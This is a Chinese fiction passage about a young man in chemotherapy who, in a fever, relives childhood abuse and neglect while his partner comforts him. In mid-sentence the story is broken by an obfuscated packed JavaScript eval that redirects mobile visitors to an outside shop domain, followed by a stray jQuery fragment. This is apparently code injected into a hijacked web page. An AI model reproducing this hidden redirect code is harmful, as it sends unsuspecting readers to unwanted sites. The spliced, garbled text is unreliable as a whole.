冬至过后，苌斓开始了第九次化疗。那天早上他没有坐在床边等忘海帮他穿袜子，只是平躺在床上，眼睛盯着天花板，手指无意识地摩挲着那枚戒指。忘海把袜子拿过来的时候，他说等一下再穿，我想这样躺一会儿。忘海说好，把袜子放在床尾，在他旁边坐下来。
输液架推过来的时候，苌斓侧过头看着那袋透明的药水。护士把针头扎进手背的留置针接口，他没有看针头，只是盯着忘海的眼睛。那双浅冰蓝色的眼睛里倒映着病房的白炽灯，像一片结了冰的湖。他想说些什么，但喉咙像被什么东西堵住了——不是痰，不是血，是那种从胸腔深处涌上来的、无形的压迫感，像海水慢慢涨过胸口，漫过喉咙，灌进鼻腔。
化疗药物开始发挥作用之后，疼痛从骨头深处一层一层地漫上来。苌斓侧躺着，把被子拉到下巴，眼睛睁得很大，盯着窗外光秃秃的梧桐枝丫。他的身体在发抖，额头开始渗出汗珠，顺着太阳穴滑下来浸湿了枕头。他的手指攥着床单，指节发白。他想喊疼，但喉咙像被什么东西堵住了，发不出任何声音。他张了张嘴，只吐出一声极轻极轻的喘息。
高烧在下午袭来。体温表上的数字跳到快四十度，苌斓开始说胡话。他闭着眼睛，嘴唇翕动，发出一些破碎的、含糊的音节。忘海凑近去听，听到了几个词。
“妈……碗碎了，手割破了，我不是故意的……”那是他六岁时的事。他端着一碗稀饭从厨房走向餐桌，养母碰了他一下，碗掉在地上摔碎了。他蹲下去捡碎片，手指被割破，血混在稀饭里。养母站在他面前低头看着他，表情很平静，说“你什么时候能不做没用的事”。他在高烧中又回到了那个厨房，看着地上的碎碗片，看着自己流血的手指。他拼命想解释，想说他真的不是故意的，但喉咙里的压迫感让他发不出声音。他只能反复说着那一句话，带着早已过期的祈求，一遍，又一遍。
“好冷……让我进去，外面好冷……”七岁，他被锁在门外一整夜。冬天的寒风从楼道窗户灌进来，他穿着单薄的秋衣缩在角落里，膝盖抵着胸口，把脸埋进膝盖里。他用指甲抠着门板，不是想敲开那扇门，是怕自己冻僵。第二天早上养母开门倒垃圾，从他身上跨过去，没有低头看他一眼。他在门外喊过“让我进去”，没有人应。现在他在高烧中又回到了那个楼道，身体在四十度的高温里发抖，嘴里却喊着好冷。冷的是骨头，是骨髓，是那些不被允许进入自己家的冬夜。
“别打我……求你们别打我……”十一岁，养父喝醉了酒把他从被窝里拎出来。他把脸埋在枕头里，咬紧牙关，把所有声音都吞进肚子里。现在他在病床上蜷着身体，牙齿咬得咯咯响，嘴里反复说着“求你们”。每一声“求你们”都像一颗石子丢进深海，没有回声，没有应答，只有无尽的下沉。
然后画面翻转。不是养父母的巴掌，是走廊里迎面走来的同学。他们的目光从他身上掠过，和掠过墙壁、掠过公告栏一样自然。食堂里他端着餐盘坐下来，旁边的位置会一直空着。不是有人刻意避开，是没有人想到要坐过去。换座位时老师说“大家自由组合”，他就坐在原位不动，等着最后被分配到某个没坐满的小组。他在高烧中喃喃自语——“我不配，没有人会在意我，没有人会停下来……”这话是后来学会的，是在无数次被忽略之后慢慢攒够的。一个人要失望多少次，才能说出这样平静的三个字。
忘海坐在床边，两只手都握着苌斓的手。他的拇指按在苌斓虎口上那道浅白色的旧疤上，轻轻摩挲着。这道疤旁边还有切菜留下的新痕，有戒指压出的浅印子。这只手端过稀饭，抠过门板，在雪地上擦破过掌心，在超市里推过车轴歪向左边的购物车。现在它在忘海的掌心里轻轻颤抖，像一只终于被捧住却已经飞不动的蝴蝶。
忘海俯下身，把额头抵在苌斓滚烫的太阳穴上。“没有人会打你。这里没有人会伤害你。你很安全。”他的声音很轻，但每一个字都咬得很稳。他知道苌斓听不见——苌斓在那个黑漆漆的房间里，被过去的记忆团团围住。那些记忆不是养父母的拳头，不是老师的漠视，不是同学的目光，是更深更冷的东西——是那种被潮水灌进喉咙、想呼吸却呼吸不了、想求救却发不出声音的窒息。苌斓拼命挣扎，但每一次浮上水面都被一只看不见的手按回去。
黄昏时分，苌斓的烧退了。他慢慢睁开眼睛，眼神还有些涣散，过了好一会儿才聚焦在忘海脸上。他说，我是不是说了很多胡话。忘海说是。苌斓问他说了什么，忘海沉默了一会儿，说：“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724423|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只是说了很多小时候的事，说你怕打针、怕冷、怕一个人。”他把那些呼喊和祈求都压成了“怕”字——怕打针，怕冷，怕一个人。
苌斓看着忘海的眼睛。他知道忘海听到了所有的胡话，也知道他替自己把那些不堪的呓语重新包装了一遍。他没有戳穿，只是把头靠在忘海肩上。
“那些都是很久以前的事了。”他的声音很轻。他说很久以前的时候，手指不自觉地摸了摸自己锁骨上那道很淡的旧疤——那是天台上摔伤时留下的。他的身体记得每一道伤口的来历，他的骨头记得每一次疼痛的弧度。身体从来没有忘记过，身体在替他记住所有的事——六岁时打碎的碗，七岁时被锁在门外的冬夜，十一岁时那些落在身上的夜晚。那些疼痛被骨髓储存起来，和疾病一起扩散。现在它们同时反噬，身体的痛和精神的痛像两股绞在一起的绳索，勒进他的喉咙、他的胸口、他的每一寸骨头里。他想喊疼，但喉咙还是堵着，和以前蜷在床角时一样。他只能在退烧后虚弱地靠在忘海肩上，让对方替他分担一点点重量——就只是这样，已经是极限了。
忘海没有说“都过去了”，也没有说“会好起来的”。他只是把苌斓的手攥得更紧，让那只曾经端稀饭、抠门板、攥购物小票、织围巾的手，在自己的掌心里慢慢回暖。
窗外梧桐树的枝丫在冬夜里轻轻晃动。病房里暖气片轻轻响着，保温杯里的梨汤已经不烫了，刚刚好能入口的温度。他们都没有说话，只是安静地靠在一起。忘海想起了很多事情——他想起了苌斓第一次化疗时剃光头发站在镜子前说“好丑”，想起他每次咳嗽都把带血的纸巾藏起来怕被发现，想起他在高烧中喊出的那些名字和祈求。他知道自己能做的事情很少——只能在他冷的时候给他加一层毯子，在他渴的时候把梨汤热到刚好能入口的温度，在他被过去的幽灵围困时把他叫醒。这些陪伴消解不了疼痛，擦不掉旧伤疤，但能让他在每一次浮上水面的时候看到岸边的光。就像现在，他的手被另一个人握着，那个人的拇指正轻轻摩挲着他虎口上的旧疤。这个动作已经重复了无数次——在每一次化疗结束后，在每一个从噩梦中醒来的深夜，在每一个他觉得自己快要撑不下去的瞬间。没有言语，只是安静地、固执地握着他的手。